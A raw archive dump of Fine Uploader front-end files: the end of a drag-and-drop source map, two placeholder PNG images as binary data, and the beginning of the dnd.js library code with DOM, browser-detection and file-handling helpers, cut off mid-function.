for firefox\n\n        // dt.effectAllowed crashes IE 11 & 10 when files have been dragged from\n        // the filesystem\n        effectTest = qq.ie() && qq.supportedFeatures.fileDrop ? true : dt.effectAllowed !== \"none\";\n        return dt && effectTest && (dt.files || (!isSafari && dt.types.contains && dt.types.contains(\"Files\")));\n    }\n\n    function isOrSetDropDisabled(isDisabled) {\n        if (isDisabled !== undefined) {\n            preventDrop = isDisabled;\n        }\n        return preventDrop;\n    }\n\n    function triggerHidezonesEvent() {\n        var hideZonesEvent;\n\n        function triggerUsingOldApi() {\n            hideZonesEvent = document.createEvent(\"Event\");\n            hideZonesEvent.initEvent(options.HIDE_ZONES_EVENT_NAME, true, true);\n        }\n\n        if (window.CustomEvent) {\n            try {\n                hideZonesEvent = new CustomEvent(options.HIDE_ZONES_EVENT_NAME);\n            }\n            catch (err) {\n                triggerUsingOldApi();\n            }\n        }\n        else {\n            triggerUsingOldApi();\n        }\n\n        document.dispatchEvent(hideZonesEvent);\n    }\n\n    function attachEvents() {\n        disposeSupport.attach(element, \"dragover\", function(e) {\n            if (!isValidFileDrag(e)) {\n                return;\n            }\n\n            // dt.effectAllowed crashes IE 11 & 10 when files have been dragged from\n            // the filesystem\n            var effect = qq.ie() && qq.supportedFeatures.fileDrop ? null : e.dataTransfer.effectAllowed;\n            if (effect === \"move\" || effect === \"linkMove\") {\n                e.dataTransfer.dropEffect = \"move\"; // for FF (only move allowed)\n            } else {\n                e.dataTransfer.dropEffect = \"copy\"; // for Chrome\n            }\n\n            e.stopPropagation();\n            e.preventDefault();\n        });\n\n        disposeSupport.attach(element, \"dragenter\", function(e) {\n            if (!isOrSetDropDisabled()) {\n                if (!isValidFileDrag(e)) {\n                    return;\n                }\n                options.onEnter(e);\n            }\n        });\n\n        disposeSupport.attach(element, \"dragleave\", function(e) {\n            if (!isValidFileDrag(e)) {\n                return;\n            }\n\n            options.onLeave(e);\n\n            var relatedTarget = document.elementFromPoint(e.clientX, e.clientY);\n            // do not fire when moving a mouse over a descendant\n            if (qq(this).contains(relatedTarget)) {\n                return;\n            }\n\n            options.onLeaveNotDescendants(e);\n        });\n\n        disposeSupport.attach(element, \"drop\", function(e) {\n            if (!isOrSetDropDisabled()) {\n                if (!isValidFileDrag(e)) {\n                    return;\n                }\n\n                e.preventDefault();\n                e.stopPropagation();\n                options.onDrop(e);\n\n                triggerHidezonesEvent();\n            }\n        });\n    }\n\n    disableDropOutside();\n    attachEvents();\n\n    qq.extend(this, {\n        dropDisabled: function(isDisabled) {\n            return isOrSetDropDisabled(isDisabled);\n        },\n\n        dispose: function() {\n            disposeSupport.dispose();\n        },\n\n        getElement: function() {\n            return element;\n        }\n    });\n};\n"]}js/fileupload/placeholders/not_available-generic.png000060400000007671150710775200016704 0ustar00�PNG


IHDR�,���tEXtSoftwareAdobe ImageReadyq�e<[IDATx����Oi���Y@�t�6L�d�˚٬�ޓ;���sl�6��������fO�qL�sq��l��č�U'��cf��Ц���df��)�VU?��}�
�͗��^<�S�m�#��Ɂ�(�F�9vI ��^���
m@�ȯ[�]BJ)�������5���bw���G��}�]�LT�];iS�q7�0IB���O�O�OH���
�9�Ax"+�<=<=<=<��4��DN��<=<=<��tDUh���u�뭯�x񢴱�Q��I:��uvv6u��˗/�����z�������dM����鯮�ֽ����;��ߟ3������|#��d2�ꫪ�VYK�>n�鞓0��'O�z��fN�>=^�nݺU>�q��	�uj�zΠ�~X�T�vʰ�:�A����w�Iú-[6�?��M�>3Ȕ!���3�v�؋m8�k�G8ړ�����e�;�=��`�z!�.���_�{N2kx��݄�2�]�v�v��^x���B��솢��`��~��`�E���э��<M�ƈm������7R�>v�[�],����RE���B�з��
�n�)����c�ʄ��Y
�`��8�'O��`��^��`��^��q����0�`�]�n�iZS�?p�{�;�
�mr�j���v��A��v��A��v��A�j�
v�{���D�����I������`��X�'O��`��^��`��^��`��^��`��ӻ�(��=���Ӵct�,v��P{F?M+x�7�;أ��g�o&����q��솣��������=�O8��;�ɮL��=G��`O$F��R`;��W`;��W`;��W`{�hS��Ļ�(��=j����;y/�Y
�`���E6�$�>y
�`��
�`��
�`�q�ƃ��M5�.	������Ц�`���Zf�ަ�`�m�vbzv��]zv����F�;�I���v�nSmt�Gm�m�e�;�=�����6�`;I0Q
�T{`��ǀ���;�uf���?1��]�4~��^6x�Z�����K���hsi
v����Y������>O�T;��Ѕ�¯�Fx��3H+�K�҃�`�`��`;؅�;������v��]�Y�`;�[�m�_~��`���#�޽q����b����v���\�q��v�v��]����`�`��`;؅�;�.<�v!���4���k��ĉ�`;�w�v�:�R`;؛�m��`�����`��`;؅�;�.<�v!�v�v��]x���o�q����`�w<���;��s�j���&���M5�v��Ԧ�`��kx���G��`��=v�`;؅�;�.<�v!�v�v��]��T��c�M5�.;m��v)�iS
v��]x���B���`�`��`;؅�;�.<�v!�v��%��;���hS
v���Ц�`���#���<	v��]H���G�%��촩;�.	<�v!�v�v��]x���B���`�`��`;؅��䯟L��`�}�;	���+v����c��5<�v3��<�v!�v�v��]x���B���`�`��`;؅�;���8t<��֏C����`7{��cnS
v���$�1��;�n��`�d�`;؅�;�.<�v!�v�v��]x���B���`��6�`���iS
v�K�N�j�����`�`��`;؅�;�.<�v!�v�v��ݰt��c/�r�����>ز�����ԍ�n�j�:�8��@��o3����|��/�v�����ʊ���ӏ?�?���������F��\^��v�����СC�'O��A���Y?�c�*�`{��+�J
�F��=����ϵ-�9��U������z��d쑂���b�v��^[#��i
�����m"���k��c}�G�^�/,,\;��]�V�{x����Ze��sb�~�����h�w��1����8iv�GR[��O�{�->\�^U_y�D����6q��fk���~m�N,v�7S;���.>�nD<��d�`4�ݹs�6�;����¿r;�V#��;��}��ݹ�y�cT�<��Hm�*��K3s9&v�����v�G��Mu�`�����MLc�j�����7q`J�z�vb�v������,��M�vy��M“�ր��i|8�s&>�̅D�v�kvF�h�z_�
�`�{+�$L��1a$x��î��.�E�H�����]��Njj�J1�����<�[O���2��{v�GQ;����`���I<v��om}���<�֞d�9�#��T�]vݼB_ώ��f4�G�`�j�;�]�֝jh^aD���'�J;����\.Ӗʜ�����v�]��;�̬L�;k���Vj�V���ٝ�������>�����Q>�8x���]�[�3:vw�3��=�+����ڌ�v��
�`o�6��U�|.6������6v�N���V�|l�S}�"���^�o�lYFw���]m��nv��;���.��m7x�[�]�\.���|�N�`�����?�W`{��z:�VY����vK�3�wkZ���z9Yg}�I�����DR[/�Q`�~�T*��ơQ^��em��u�䣸����:Ϟ=��Db�҃�!�Aƿ��%���#�j�j�ajϴ�f��ȑ#�H~D��GK�����D~��F>2�7��99{e�naO%u��i��ٳ����^b���J�j�G�}�4��3�W`�;����}��!�TN)������`'�;�	�v"<���~��я �=s�j�'�=�?=888
���T��
؃Ex>���Dx���v�!�n������
�`gdg�;ؽ�����R���tuu%v$���z�/_'Pw�I0~��_2�L"}�?�}y�K��3{ev^����)n���`����NJ���	v��W{iiI��x�>�#�D�j�[�}�va��7�O��#|dSzݦ��aô���]\kx�����t�X�����@�k��:�v���o�^��a�����O)��/x�;��+�q���c�?:��Fk��*k�+o����h��Ǐ�Ǯ��|Ggv�7Z{hh�;�uF����/(����@:��vvv6��{��ey}}�\�vA�\\�����===YSjonn�����z����N���璬]Y�x����d~��}$N�s2��5�S�B�Ky/�'��\|�����3�'D��xB����e��'���ׅLֻ�	qd*��Uu�'���u�7rC�b�T�L�7<!vg���<�	qc��Tc�bg����7����vo�5�2��kR���̺}'��aB���k�Î�#�'�
�)r`��XAw��{ͷb"�^>�j?���W�d���x�4�VnJN�}��;�;�)I*�?���?<��C���Ԝ�;#<i�H?|У=�f�w.�����g�WY��Z�������f�z$����M�ǣ�����>N�%��~=�w�<1m�?/hm?l�q��'���������\��_0t���xb|����s����.�u��zٔ;xb#�|_��Ǵ|�����	�_�?��J�r8e���v����O\[���?�p�z0"�KQ]�xB�[���u���Tߪ!��kq�y٤�x�����B�E�IEND�B`�js/fileupload/placeholders/waiting-generic.png000060400000013212150710775200015532 0ustar00�PNG


IHDR�,>ŅtEXtSoftwareAdobe ImageReadyq�e<,IDATx��=Sך��)�U[�$wH�"ɸ�"�@C����dg<��fB�� �p|}m'	���p	�H�Б60�rK7�8��wtZ���8�=�t?O��ؖ�0���}��Dr�;_��fo�٫�@����w��Nޓ�����u��Qg����'"���5M�4R�O:�_���X��~.�
�������������������� 
.������?����������p���'���㉋~p{{{'{�ф�0XZZZ$��f��˾GD�^U�I�D�?I�H�/d@DŠ��Ǵ@T���ĸ����?� ���&���)Mi��]`�
 ���3m?ו}@D��4�4~��KKK�����Z��T �����hK��yfKv";@";u;@�z��.|C�I!7��N*i
/L�������.mi���ێ��&m��,+;u;@��z�4�T ��Jd��AP��*�S�DV�WJ�M*�}��������Kj���#z���.��jt
x�]D�a�;���-�_��@�}�'����o;55��mD:�6Td?ݽ233�e��2Lp��^�q��M��\6Te7�l6|뀞�*�g�����HO|e�jɞ=ad����7�|�2w!�%���e7<��ggf�A'���!\˵ڲgO����N�<�$����;�4�	LdmǬ��;�#<�";��=�nUv��}�#d���n%�ێ�ޢ�\&׀�krr2�n]v��޽;��'�w�}}��"��[vA��t���U���n��>�qAH�E
�i�棪s�5#{^g�O*����+>>�8q��Dv�"N=��v�w'XC2�y/���"g������@��d�,s�f��^itRw�����իܥs�������x��u�v�Qu��9���jӎ��hH�ZKҮ�׈�PsN:�Te��YGG�A�ڮ\Q����N9�Ȟo=�6�N����
�_�k�q$�^��ɕ(��{�`@T����� 5�M�r��
��A��>"{��oh}�_?�+=�r�PI߽�n�κT�v�g�ER�L׋�&e���y�3Ot�qȸ���6���gd�'ۨlt!��O?�n����C��g���� Q�;/u��Eٟ�l�������n�t^%�Q~rC$H�w��Z�j	���<��Y�Y\\�\�v[�N)��֩L��'8g�A�r���:=(ٍ�2�x�<�{���0J��M_uzp�d�q���Ӝtd�F)��K��Ӄ��D��t�mڋ�D�4Sn4E�g�jd�w�u�[��E�֦�z�v���-�^%��y����͛7�z���^v#�F�����W���A�7��U�N����2�$��~oG���|UD�btB�@�ќ�By��b��"s�:}/Tу�� =�N;9�~�î��r
u�ܣA�D��n�-]/3��k"��"������Մ�;��j��E�鰣�!����'�w>�Fn��Ə̒Txp�����&��.�I7N����g��G�H��aI.�^,�2�����^��v�״������Vrxt�=�����%:ѣ����ƟJ饱e���F��[�n��G��(�����ud?�M�_ ����Z�eGxDG��R�|~���-����OE�����3v;ɫW���#R��$(�l�<׽���E�u�����n����u��\wCW�0s�썘 {��/�
�It��y�v��D�R��\�c#�F��o��7���>{u]}���Q����͛7���+��^K����B�r�O�{�>Cz�wvv���+ �����H� �x�do�.?c?���i1m�%�
+�����D�n�L������xI�%�3_�FJaӉ|���6��D�n"��^���z4��!��Lڞ��m'�zSi���%���5�ͅ�!DŽ��Ko��-����.F�aR�4$M���u�z��+.?Gz�_�L�_�#�~�.<2����=�-�^z���\Gy��z���mE�׮���R�VGsd�\˟�>=H[�%omm����Z����^"}Sg���7�{&�����^T�e��w5>/M�Q�}S��w�Qط�d�~�-����F���Ok|^�c��o�t�=&eGv[‹�"�=
�el��ӧ���jJ�|$y�n��1w)�G+}l[aIM.i�R��F���ٛ!�/KhC������D�
$Gv���8��y+,�E�oHב=$�F������o�
.�w,�@$o�1���&���L�C���~l��Ǥ��[�/c���R|��ﻗ�6Q���ިߊ��Y��Ö��"��_~��h��%���#;ҟ�,��i�>�#�-l��]\�NK_{V��;�`��͛u%g"�������^;�����S�o�h�r�������k�5��k�$r���3��?"A��$�LJU���|�jd��O���?1L$,��Բ!�k*� ����z����l���d��/.���K/��|�y֕S�C�Z^�B�w.���[edo�1�DvЊ�r$Q!q\Ew��K��ё��QDx�ݻ�]�_�S�.;� ;(	�/׭~�d
7���L8d��_xҨ�U�y�JA�!:��}�e�B�������m8��"Wz����[���id��<d�j��"ɤ�N�(D��L�Avp/��t����q�&�_��x�*����1SP�#;(F���.�|�^�1e�&KT��y|�ԑ}��~C�#;�GwYpr\!:W�׏Y܂��Y�Q�ͪ̕�hnd�|����ؖ�͍��=�u�L���Ց<r��s���4�!BfggK��2�>f��iZ���H+�9�eL
�g��{�4.Z�@�ޟhnd�j��Dvd�0'�\(��+�d�8j@vP�oA����B���4;��>��E��{4;��n
/Q�ZJ]B���l@vP��W���E�{�ι������j3��S��a.��d�jQ���<ϽHd/�koX�~:��.�{w�^��g�c�����
��+D�2�:�;��]�w��3؊D��X�ﴃ���EW�,��E�X�W�١��"�}��%�؋��
";}ň���cǴ�W2,.������ބȸ�}�ɻ3�R�.�~]&�4D��./L�D��K����]K.Ck�_���%[���命�)�D�{���z��av�}o9���=�ƷE�~�n5	`�V%����F�>w�7Z��u`�n��"�f��Ȏ�-�����M���&G�b�K��
5=��"y/{�:)�$�)�/c�"~&��fA�Т�r�`�#K)��]z�7����[� �Ϛ��'�����#���y����j�����S�=t��u$_MJ�֥�S�GFz"=���7�#=�}g/�D��$��npnz�X=�����m-i�ɥG�GM�^��%��ϐ�M�ג�������÷M���n9FzR{�S�ƥ��G�m��}R{"�Y�w�5��-����_K�A�!zs�k�s.�X�i�9��=Q~�ľx���;-�gjsD��]�/�M-�C��.=�;I���[&s�(�c��J�M�m�̉%��b"��6t�uZ"�\��g0:y�
i}����-m?�p8$�/�֯ {����A�=t�pBMU��=C���1sa�7�j.6mx��@ѭ�~�&���h�?�����ѻܯ���-��A7i�y���O�9�V0m"|��}�{�l.Z�>�?$����&�A��S�7�4���w"}��?��_Gv?����Ƥ�{��/L?V�;��l޾%=G�HeG��xz�X{���D&����LzNPI�5d�/�H�I,y��
�P��Xz�;�N�{ʬf{�/d�H�rD"{;��.��+Fvd�!��W}��G&�X!��3�@E��_�ZjPv(��5Vݻ�F���L�U��ʌ�ùtM��F��i�ɩ!F�Qt?$�[b!	lK��dϞ�&�؋�d�M����~Jt9�c��#�l.d����nDg�ͅ�6� pBCr�D�X���2U��kwB~t�t�eO�sF��4dw��;����}�pjo�tJ��ڎGу�hTT�1�F'��L�W���$:uz����­�}E�U����u"�j���x��ѸlB�:�7u�
+��Dw�E��@���Ys�UP]0�٩�5d������W�7Nv3ep��~dGvU����v�DW}��I��=:Tz�"��{<Q=�ۙM��ίE/��q�s=u8H�{p@!��{�5";�"�Aj��JST9��Vv�p��5�A&��\�*YCp�t]nv�q(�H�f��z��~Ypp@��j܉*��ȥ����W4�>k��n:S׬ճ���.3�IG��:�.:�\Ev:�Չ�^Y^v�8�˵�C"��!7�	�K�Fˢ�L�߳���a��~jw�3�lGvY��L9EdhLC�ݟvil}�����n�@��>�������Dwf�yឭ�n3��=D����j��3�Pݘ��ى�~���U=ԁ�=��n+�Օ�����k�s��F�k�NT��Ύ��Z2	_�Mt��mDv��v���n��c�"c����/�OX��Ȯ�H�������Tr�֭dff����q��_ZZ:�ٗ]�N%��t^:���ѽ򚓺���UQ���T��y��^���UN�͎����wI/x�g��ҫs;K�75#�״�[$b�Dy�*z���ۿ�:��*Tr�Rd7;i�����X���츐%?�˗/'׮^K�\��LNNr1�!ui��T���(.[@Io������8��ם�&�����r��#>Ј�r7rk�-G#�QM����LD����Q]/�P�4���Ne�c�<"�H�����2fgf��ٙQ�?��\255E_yJu�UI�?���(����(BK������Y�E��/���dg�XX�R��̘��6��D����÷C�SV۞LNM��}2{��mc���QW6�7v�ؓ5�Dd���
NfT�� ��Dh�C@��p!{cR�|畼��풛WV���!��$��Ee/��7!�χ�d�F�v�ɇe>@[R�2�����C��T�
2�A^2�O���@G{qsӦ�Q��ŵ�o���9�?d��bo1��B��e��G�9��+��\�E��a+�-��Y�f����EL���K�r�����#㓬n߳٣��eSD���K�#�ۭ��7b��r�8��"��m�}Ö�QDvY1�c{eh&8d���DvS���ܨC�-��"ұ+��0m\��bI��u�HIQ:_[��c��2V
���>n|d�N��|$�bԎ�п!�
�k"�*�WYv[�B�DzKY��I���:;.���3�H�o$��BUٻ�3fʁf���N
�kvd�x �,�8�?�D��Ue�8f����ʽ�4>@C���`�S͝/�%g��}��|�A��<5�6��Q�믿���/g�X��o8)��N�i�C\]��J���i������������������������Qɞ��&�eF[4�g�?�⎜wܣM��|�x�f���6h�F�a�N&N�I�I�C��:=��i�/�/�[���es�IEND�B`�js/fileupload/dnd.js000060400000134142150710775200010414 0ustar00// Fine Uploader 5.11.8 - (c) 2013-present Widen Enterprises, Inc. MIT licensed. http://fineuploader.com
(function(global) {
    var qq = function(element) {
        "use strict";
        return {
            hide: function() {
                element.style.display = "none";
                return this;
            },
            attach: function(type, fn) {
                if (element.addEventListener) {
                    element.addEventListener(type, fn, false);
                } else if (element.attachEvent) {
                    element.attachEvent("on" + type, fn);
                }
                return function() {
                    qq(element).detach(type, fn);
                };
            },
            detach: function(type, fn) {
                if (element.removeEventListener) {
                    element.removeEventListener(type, fn, false);
                } else if (element.attachEvent) {
                    element.detachEvent("on" + type, fn);
                }
                return this;
            },
            contains: function(descendant) {
                if (!descendant) {
                    return false;
                }
                if (element === descendant) {
                    return true;
                }
                if (element.contains) {
                    return element.contains(descendant);
                } else {
                    return !!(descendant.compareDocumentPosition(element) & 8);
                }
            },
            insertBefore: function(elementB) {
                elementB.parentNode.insertBefore(element, elementB);
                return this;
            },
            remove: function() {
                element.parentNode.removeChild(element);
                return this;
            },
            css: function(styles) {
                if (element.style == null) {
                    throw new qq.Error("Can't apply style to node as it is not on the HTMLElement prototype chain!");
                }
                if (styles.opacity != null) {
                    if (typeof element.style.opacity !== "string" && typeof element.filters !== "undefined") {
                        styles.filter = "alpha(opacity=" + Math.round(100 * styles.opacity) + ")";
                    }
                }
                qq.extend(element.style, styles);
                return this;
            },
            hasClass: function(name, considerParent) {
                var re = new RegExp("(^| )" + name + "( |$)");
                return re.test(element.className) || !!(considerParent && re.test(element.parentNode.className));
            },
            addClass: function(name) {
                if (!qq(element).hasClass(name)) {
                    element.className += " " + name;
                }
                return this;
            },
            removeClass: function(name) {
                var re = new RegExp("(^| )" + name + "( |$)");
                element.className = element.className.replace(re, " ").replace(/^\s+|\s+$/g, "");
                return this;
            },
            getByClass: function(className, first) {
                var candidates, result = [];
                if (first && element.querySelector) {
                    return element.querySelector("." + className);
                } else if (element.querySelectorAll) {
                    return element.querySelectorAll("." + className);
                }
                candidates = element.getElementsByTagName("*");
                qq.each(candidates, function(idx, val) {
                    if (qq(val).hasClass(className)) {
                        result.push(val);
                    }
                });
                return first ? result[0] : result;
            },
            getFirstByClass: function(className) {
                return qq(element).getByClass(className, true);
            },
            children: function() {
                var children = [], child = element.firstChild;
                while (child) {
                    if (child.nodeType === 1) {
                        children.push(child);
                    }
                    child = child.nextSibling;
                }
                return children;
            },
            setText: function(text) {
                element.innerText = text;
                element.textContent = text;
                return this;
            },
            clearText: function() {
                return qq(element).setText("");
            },
            hasAttribute: function(attrName) {
                var attrVal;
                if (element.hasAttribute) {
                    if (!element.hasAttribute(attrName)) {
                        return false;
                    }
                    return /^false$/i.exec(element.getAttribute(attrName)) == null;
                } else {
                    attrVal = element[attrName];
                    if (attrVal === undefined) {
                        return false;
                    }
                    return /^false$/i.exec(attrVal) == null;
                }
            }
        };
    };
    (function() {
        "use strict";
        qq.canvasToBlob = function(canvas, mime, quality) {
            return qq.dataUriToBlob(canvas.toDataURL(mime, quality));
        };
        qq.dataUriToBlob = function(dataUri) {
            var arrayBuffer, byteString, createBlob = function(data, mime) {
                var BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder || window.MSBlobBuilder, blobBuilder = BlobBuilder && new BlobBuilder();
                if (blobBuilder) {
                    blobBuilder.append(data);
                    return blobBuilder.getBlob(mime);
                } else {
                    return new Blob([ data ], {
                        type: mime
                    });
                }
            }, intArray, mimeString;
            if (dataUri.split(",")[0].indexOf("base64") >= 0) {
                byteString = atob(dataUri.split(",")[1]);
            } else {
                byteString = decodeURI(dataUri.split(",")[1]);
            }
            mimeString = dataUri.split(",")[0].split(":")[1].split(";")[0];
            arrayBuffer = new ArrayBuffer(byteString.length);
            intArray = new Uint8Array(arrayBuffer);
            qq.each(byteString, function(idx, character) {
                intArray[idx] = character.charCodeAt(0);
            });
            return createBlob(arrayBuffer, mimeString);
        };
        qq.log = function(message, level) {
            if (window.console) {
                if (!level || level === "info") {
                    window.console.log(message);
                } else {
                    if (window.console[level]) {
                        window.console[level](message);
                    } else {
                        window.console.log("<" + level + "> " + message);
                    }
                }
            }
        };
        qq.isObject = function(variable) {
            return variable && !variable.nodeType && Object.prototype.toString.call(variable) === "[object Object]";
        };
        qq.isFunction = function(variable) {
            return typeof variable === "function";
        };
        qq.isArray = function(value) {
            return Object.prototype.toString.call(value) === "[object Array]" || value && window.ArrayBuffer && value.buffer && value.buffer.constructor === ArrayBuffer;
        };
        qq.isItemList = function(maybeItemList) {
            return Object.prototype.toString.call(maybeItemList) === "[object DataTransferItemList]";
        };
        qq.isNodeList = function(maybeNodeList) {
            return Object.prototype.toString.call(maybeNodeList) === "[object NodeList]" || maybeNodeList.item && maybeNodeList.namedItem;
        };
        qq.isString = function(maybeString) {
            return Object.prototype.toString.call(maybeString) === "[object String]";
        };
        qq.trimStr = function(string) {
            if (String.prototype.trim) {
                return string.trim();
            }
            return string.replace(/^\s+|\s+$/g, "");
        };
        qq.format = function(str) {
            var args = Array.prototype.slice.call(arguments, 1), newStr = str, nextIdxToReplace = newStr.indexOf("{}");
            qq.each(args, function(idx, val) {
                var strBefore = newStr.substring(0, nextIdxToReplace), strAfter = newStr.substring(nextIdxToReplace + 2);
                newStr = strBefore + val + strAfter;
                nextIdxToReplace = newStr.indexOf("{}", nextIdxToReplace + val.length);
                if (nextIdxToReplace < 0) {
                    return false;
                }
            });
            return newStr;
        };
        qq.isFile = function(maybeFile) {
            return window.File && Object.prototype.toString.call(maybeFile) === "[object File]";
        };
        qq.isFileList = function(maybeFileList) {
            return window.FileList && Object.prototype.toString.call(maybeFileList) === "[object FileList]";
        };
        qq.isFileOrInput = function(maybeFileOrInput) {
            return qq.isFile(maybeFileOrInput) || qq.isInput(maybeFileOrInput);
        };
        qq.isInput = function(maybeInput, notFile) {
            var evaluateType = function(type) {
                var normalizedType = type.toLowerCase();
                if (notFile) {
                    return normalizedType !== "file";
                }
                return normalizedType === "file";
            };
            if (window.HTMLInputElement) {
                if (Object.prototype.toString.call(maybeInput) === "[object HTMLInputElement]") {
                    if (maybeInput.type && evaluateType(maybeInput.type)) {
                        return true;
                    }
                }
            }
            if (maybeInput.tagName) {
                if (maybeInput.tagName.toLowerCase() === "input") {
                    if (maybeInput.type && evaluateType(maybeInput.type)) {
                        return true;
                    }
                }
            }
            return false;
        };
        qq.isBlob = function(maybeBlob) {
            if (window.Blob && Object.prototype.toString.call(maybeBlob) === "[object Blob]") {
                return true;
            }
        };
        qq.isXhrUploadSupported = function() {
            var input = document.createElement("input");
            input.type = "file";
            return input.multiple !== undefined && typeof File !== "undefined" && typeof FormData !== "undefined" && typeof qq.createXhrInstance().upload !== "undefined";
        };
        qq.createXhrInstance = function() {
            if (window.XMLHttpRequest) {
                return new XMLHttpRequest();
            }
            try {
                return new ActiveXObject("MSXML2.XMLHTTP.3.0");
            } catch (error) {
                qq.log("Neither XHR or ActiveX are supported!", "error");
                return null;
            }
        };
        qq.isFolderDropSupported = function(dataTransfer) {
            return dataTransfer.items && dataTransfer.items.length > 0 && dataTransfer.items[0].webkitGetAsEntry;
        };
        qq.isFileChunkingSupported = function() {
            return !qq.androidStock() && qq.isXhrUploadSupported() && (File.prototype.slice !== undefined || File.prototype.webkitSlice !== undefined || File.prototype.mozSlice !== undefined);
        };
        qq.sliceBlob = function(fileOrBlob, start, end) {
            var slicer = fileOrBlob.slice || fileOrBlob.mozSlice || fileOrBlob.webkitSlice;
            return slicer.call(fileOrBlob, start, end);
        };
        qq.arrayBufferToHex = function(buffer) {
            var bytesAsHex = "", bytes = new Uint8Array(buffer);
            qq.each(bytes, function(idx, byt) {
                var byteAsHexStr = byt.toString(16);
                if (byteAsHexStr.length < 2) {
                    byteAsHexStr = "0" + byteAsHexStr;
                }
                bytesAsHex += byteAsHexStr;
            });
            return bytesAsHex;
        };
        qq.readBlobToHex = function(blob, startOffset, length) {
            var initialBlob = qq.sliceBlob(blob, startOffset, startOffset + length), fileReader = new FileReader(), promise = new qq.Promise();
            fileReader.onload = function() {
                promise.success(qq.arrayBufferToHex(fileReader.result));
            };
            fileReader.onerror = promise.failure;
            fileReader.readAsArrayBuffer(initialBlob);
            return promise;
        };
        qq.extend = function(first, second, extendNested) {
            qq.each(second, function(prop, val) {
                if (extendNested && qq.isObject(val)) {
                    if (first[prop] === undefined) {
                        first[prop] = {};
                    }
                    qq.extend(first[prop], val, true);
                } else {
                    first[prop] = val;
                }
            });
            return first;
        };
        qq.override = function(target, sourceFn) {
            var super_ = {}, source = sourceFn(super_);
            qq.each(source, function(srcPropName, srcPropVal) {
                if (target[srcPropName] !== undefined) {
                    super_[srcPropName] = target[srcPropName];
                }
                target[srcPropName] = srcPropVal;
            });
            return target;
        };
        qq.indexOf = function(arr, elt, from) {
            if (arr.indexOf) {
                return arr.indexOf(elt, from);
            }
            from = from || 0;
            var len = arr.length;
            if (from < 0) {
                from += len;
            }
            for (;from < len; from += 1) {
                if (arr.hasOwnProperty(from) && arr[from] === elt) {
                    return from;
                }
            }
            return -1;
        };
        qq.getUniqueId = function() {
            return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function(c) {
                var r = Math.random() * 16 | 0, v = c == "x" ? r : r & 3 | 8;
                return v.toString(16);
            });
        };
        qq.ie = function() {
            return navigator.userAgent.indexOf("MSIE") !== -1 || navigator.userAgent.indexOf("Trident") !== -1;
        };
        qq.ie7 = function() {
            return navigator.userAgent.indexOf("MSIE 7") !== -1;
        };
        qq.ie8 = function() {
            return navigator.userAgent.indexOf("MSIE 8") !== -1;
        };
        qq.ie10 = function() {
            return navigator.userAgent.indexOf("MSIE 10") !== -1;
        };
        qq.ie11 = function() {
            return qq.ie() && navigator.userAgent.indexOf("rv:11") !== -1;
        };
        qq.edge = function() {
            return navigator.userAgent.indexOf("Edge") >= 0;
        };
        qq.safari = function() {
            return navigator.vendor !== undefined && navigator.vendor.indexOf("Apple") !== -1;
        };
        qq.chrome = function() {
            return navigator.vendor !== undefined && navigator.vendor.indexOf("Google") !== -1;
        };
        qq.opera = function() {
            return navigator.vendor !== undefined && navigator.vendor.indexOf("Opera") !== -1;
        };
        qq.firefox = function() {
            return !qq.edge() && !qq.ie11() && navigator.userAgent.indexOf("Mozilla") !== -1 && navigator.vendor !== undefined && navigator.vendor === "";
        };
        qq.windows = function() {
            return navigator.platform === "Win32";
        };
        qq.android = function() {
            return navigator.userAgent.toLowerCase().indexOf("android") !== -1;
        };
        qq.androidStock = function() {
            return qq.android() && navigator.userAgent.toLowerCase().indexOf("chrome") < 0;
        };
        qq.ios6 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 6_") !== -1;
        };
        qq.ios7 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 7_") !== -1;
        };
        qq.ios8 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 8_") !== -1;
        };
        qq.ios800 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 8_0 ") !== -1;
        };
        qq.ios = function() {
            return navigator.userAgent.indexOf("iPad") !== -1 || navigator.userAgent.indexOf("iPod") !== -1 || navigator.userAgent.indexOf("iPhone") !== -1;
        };
        qq.iosChrome = function() {
            return qq.ios() && navigator.userAgent.indexOf("CriOS") !== -1;
        };
        qq.iosSafari = function() {
            return qq.ios() && !qq.iosChrome() && navigator.userAgent.indexOf("Safari") !== -1;
        };
        qq.iosSafariWebView = function() {
            return qq.ios() && !qq.iosChrome() && !qq.iosSafari();
        };
        qq.preventDefault = function(e) {
            if (e.preventDefault) {
                e.preventDefault();
            } else {
                e.returnValue = false;
            }
        };
        qq.toElement = function() {
            var div = document.createElement("div");
            return function(html) {
                div.innerHTML = html;
                var element = div.firstChild;
                div.removeChild(element);
                return element;
            };
        }();
        qq.each = function(iterableItem, callback) {
            var keyOrIndex, retVal;
            if (iterableItem) {
                if (window.Storage && iterableItem.constructor === window.Storage) {
                    for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {
                        retVal = callback(iterableItem.key(keyOrIndex), iterableItem.getItem(iterableItem.key(keyOrIndex)));
                        if (retVal === false) {
                            break;
                        }
                    }
                } else if (qq.isArray(iterableItem) || qq.isItemList(iterableItem) || qq.isNodeList(iterableItem)) {
                    for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {
                        retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);
                        if (retVal === false) {
                            break;
                        }
                    }
                } else if (qq.isString(iterableItem)) {
                    for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {
                        retVal = callback(keyOrIndex, iterableItem.charAt(keyOrIndex));
                        if (retVal === false) {
                            break;
                        }
                    }
                } else {
                    for (keyOrIndex in iterableItem) {
                        if (Object.prototype.hasOwnProperty.call(iterableItem, keyOrIndex)) {
                            retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);
                            if (retVal === false) {
                                break;
                            }
                        }
                    }
                }
            }
        };
        qq.bind = function(oldFunc, context) {
            if (qq.isFunction(oldFunc)) {
                var args = Array.prototype.slice.call(arguments, 2);
                return function() {
                    var newArgs = qq.extend([], args);
                    if (arguments.length) {
                        newArgs = newArgs.concat(Array.prototype.slice.call(arguments));
                    }
                    return oldFunc.apply(context, newArgs);
                };
            }
            throw new Error("first parameter must be a function!");
        };
        qq.obj2url = function(obj, temp, prefixDone) {
            var uristrings = [], prefix = "&", add = function(nextObj, i) {
